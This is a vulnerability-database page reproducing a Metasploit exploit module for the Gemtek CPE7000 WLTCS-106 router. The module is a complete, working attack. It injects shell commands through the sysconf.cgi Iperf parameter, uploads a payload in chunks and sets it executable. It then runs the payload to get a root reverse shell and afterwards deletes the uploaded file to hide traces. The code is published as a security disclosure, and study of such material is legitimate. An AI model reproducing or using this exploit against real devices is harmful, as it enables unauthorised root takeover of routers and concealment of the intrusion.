Lucene search
K

Gemtek CPE7000 WLTCS-106 sysconf.cgi Remote Command Execution

🗓️ 26 Apr 2016 00:00:00Reported by Federico ScalcoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Gemtek CPE7000 WLTCS-106 sysconf.cgi Remote Command Execution vulnerability in Gemtek CPE7000 model ID WLTCS-106 exposing Iperf tool to unauthenticated users. Allows injection of commands in perf_measure_server_ip parameter leading to remote command execution as root. Tested on Hardware version V02A and Firmware version 01.01.02.082

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution',  
'Description' => %q{  
A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106  
exposing Iperf tool to unauthenticated users. Injecting a  
command in the perf_measure_server_ip parameter, an attacker  
can execute arbitrary commands. Since the service runs as root,  
the remote command execution has the same administrative privileges.  
The remote shell is obtained uploading the payload and executing it.  
A reverse shell is preferred rather then a bind one, since firewall  
won't allow (by default) incoming connections.  
  
Tested on Hardware version V02A and Firmware version 01.01.02.082.  
},  
'Author' =>  
[  
'Federico Scalco <fscalco [ at] mentat.is>'  
#Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '39716' ],  
[ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],  
[ 'URL' , 'http://www.gemtek.com.tw/' ]  
],  
'DisclosureDate' => 'Apr 07 2016',  
'Privileged' => false,  
'Platform' => %w{ linux },  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'Linux arm Payload',  
{  
'Arch' => ARCH_ARMLE,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' =>  
{  
'RPORT' => 443,  
'SHELL' => '/bin/sh'  
}  
))  
  
register_options(  
[  
OptInt.new('CMD_DELAY', [false, 'Time that the Handler will wait for the incoming connection', 15]),  
OptInt.new('CHUNKS_DELAY', [false, 'Timeout between payload\'s chunks sending requests', 2]),  
OptString.new('UPFILE', [ false, 'Payload filename on target server, (default: random)' ]),  
OptInt.new('CHUNK_SIZE', [ false, 'Payload\'s chunk size (in bytes, default: 50)', 50 ]),  
OptBool.new('SSL', [true, 'Use SSL', true])  
], self.class)  
  
end  
  
def request_resource(resname)  
begin  
res = send_request_cgi({  
'uri' => resname,  
'method' => 'GET',  
})  
return res  
rescue ::Rex::ConnectionError  
vprint_error("#{@rhost}:#{rport} - Failed to connect to the web server")  
return nil  
end  
end  
  
def cleanup  
print_status("#{@rhost}:#{rport} - Cleanup fase, trying to remove traces...")  
  
begin  
clean_target(@upfile)  
rescue  
vprint_error("#{@rhost}:#{rport} - Failed to clean traces (/www/#{@upfile}). The resource must be removed manually")  
end  
return  
end  
  
def clean_target(resname)  
res = request_resource(resname)  
if res and res.code != 404  
print_status("#{rhost}:#{rport} - Found resource " + resname + ". Cleaning up now")  
#remove  
cmd = '"; rm /www/' + resname +' &> /dev/null #'  
res = act(cmd, "deleting resource")  
if (!res)  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to delete resource /www/#{resname} (have to do it manually)")  
end  
end  
end  
  
def set_conditions(buffer)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/cgi-bin/sysconf.cgi',  
'encode_params' => true,  
'vars_get' => {  
'page' => 'ajax.asp',  
'action' => 'save_iperf_value',  
'perf_measure_server_ip' => buffer,  
'perf_measure_server_port' => '5555',  
'perf_measure_cpe_port' => '5554',  
'perf_measure_test_time' => '60',  
'perf_measure_protocol_type' => '1',  
'perf_measure_packet_data_length' => '1024',  
'perf_measure_bandwidth' => '19m',  
'perf_measure_client_num' => '1'  
}  
})  
  
if !res or res.code != 200  
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to set_condition request")  
end  
  
return res  
end  
  
def toggle_once  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/cgi-bin/sysconf.cgi',  
'vars_get' => {  
'page' => 'ajax.asp',  
'action' => 'perf_measure_status_toggle'  
}  
})  
  
if !res or res.code != 200  
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to toggle request")  
end  
  
if res.body == "1"  
@retoggled = false  
return true  
elsif !@retoggled  
#print_status("#{@rhost}:#{rport} - First toggle request returned 0, retoggling now...")  
@retoggled = true  
toggle_once()  
else  
fail_with(Failure::UnexpectedReply, "Toggler cgi did not respond in an expected way")  
end  
  
end  
  
def act(buffer, step)  
set_conditions(buffer)  
res = toggle_once()  
return res  
end  
  
def exploit  
  
@retoggled = false;  
@cmd_delay = datastore['CMD_DELAY'] || 15  
@chunk_size = datastore['CHUNK_SIZE'] || 50  
@rhost = datastore['RHOST']  
@rport = datastore['RPORT']  
@upfile = datastore['UPFILE'] || rand_text_alpha(8+rand(8))  
chunk_delay = datastore['CHUNKS_DELAY'] || 2  
  
clean_target(@upfile)  
  
pl = payload.encoded_exe  
chunks = pl.scan(/.{1,#{@chunk_size}}/)  
hash = Hash[chunks.map.with_index.to_a]  
  
print_status("Total payload chunks: " + chunks.length.to_s )  
print_status("#{rhost}:#{rport} - Uploading chunked payload on the gemtek device (/www/#{@upfile})")  
  
for chk in chunks  
chind = hash[chk]  
safe_buffer = chk.each_byte.map { |b| '\x' + b.to_s(16) }.join  
  
if chind == 0  
s_redir = '>'  
else  
s_redir = '>>'  
end  
  
cmd = '"; printf \'' + safe_buffer + '\' ' + s_redir + ' /www/' + @upfile + ' #'  
  
print_status("#{@rhost}:#{rport} - Uploading chunk " + (chind + 1).to_s + "/" + chunks.length.to_s + ('.' * (chind + 1)))  
res = act(cmd, "uploading shell")  
if (!res)  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")  
end  
select(nil, nil, nil, chunk_delay)  
end  
  
#chmod request  
cmd = '"; chmod 777 /www/' + @upfile + ' & #'  
print_status("#{rhost}:#{rport} - Asking the gemtek device to chmod #{@upfile}")  
res = act(cmd, "chmodding payload")  
if (!res)  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to chmod payload")  
end  
  
select(nil, nil, nil, @cmd_delay)  
  
#phone home  
cmd = '"; /www/' + @upfile + ' & #'  
print_status("#{rhost}:#{rport} - Asking the gemtek device to execute #{@upfile}")  
res = act(cmd, "executing payload")  
if (!res)  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
  
select(nil, nil, nil, @cmd_delay)  
  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation